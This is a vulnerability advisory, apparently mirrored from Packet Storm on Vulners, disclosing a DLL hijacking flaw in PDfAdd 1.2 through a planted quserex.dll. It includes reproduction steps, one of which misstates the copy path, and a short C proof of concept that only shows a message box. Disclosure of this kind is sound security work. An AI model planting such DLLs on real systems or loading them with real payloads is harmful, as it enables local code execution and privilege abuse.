Lucene search
+L

PDFAdd 1.2 DLL Hijacking

🗓️ 03 Jan 2017 00:00:00Reported by ZwXType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

PDfAdd 1.2 DLL Hijacking Vulnerability in Windows

Code
`=====================================================  
[#] Exploit Title : PDfAdd 1.2 - DLL Hijacking Vulnerability  
[#] Date Discovered : 2016-12-22  
[#] Affected Product(s): PDfAdd v1.2 - Software  
[#] Exploitation Technique: Local  
[#] Severity Level: Medium  
[#] Tested OS : Windows 7  
=====================================================  
  
  
[#] Product & Service Introduction:  
===================================  
PdfAdd is a free and free program that includes several wizards that make it easier to create pdflatex and asymptote graphics most commonly used in high school mathematics programs.  
This program is primarily aimed at secondary school teachers using the LaTeX composition system.  
  
(Copy of the Vendor Homepage: http://www.xm1math.net/ )  
  
  
[#] Technical Details & Description:  
====================================  
A local dll injection vulnerability has been discovered in the official PDfAdd v1.2 software.  
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.  
  
Vulnerable Software:  
[+] PDfAdd  
  
Vulnerable Version(s):  
[+] v1.2  
  
Vulnerable Libraries:  
[+] quserex.dll  
  
  
[#] Proof of Concept (PoC):  
===========================  
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the local vulnerability ...  
1. Compile dll and rename to quserex.dll  
2. Copy quserex.dll to C:\Program Files\PdfAdd\pdfadd.exe  
3. Launch pdfadd.exe  
4. MessageBox Executed  
  
-- PoC Exploit --  
  
#include <windows.h>  
#define DllExport __declspec (dllexport)  
  
BOOL WINAPI DllMain (  
HANDLE hinstDLL,  
DWORD fdwReason,  
LPVOID lpvReserved)  
{  
dll_hijack();  
return 0;  
}  
  
int dll_hijack()  
{  
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);  
return 0;  
}  
  
  
[#] Disclaimer:  
===============  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.  
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.  
  
  
Domain: www.zwx.fr  
Contact: [email protected]   
Social: twitter.com/XSSed.fr  
Feeds: www.zwx.fr/feed/  
Advisory: www.vulnerability-lab.com/show.php?user=ZwX  
packetstormsecurity.com/files/author/12026/  
iedb.ir/author-ZwX.html  
cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/  
0day.today/author/27461  
  
  
Copyright (c) 2017 | ZwX - Security Researcher (Software & web application)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jan 2017 00:00Current
0.4Low risk
Vulners AI Score0.4
33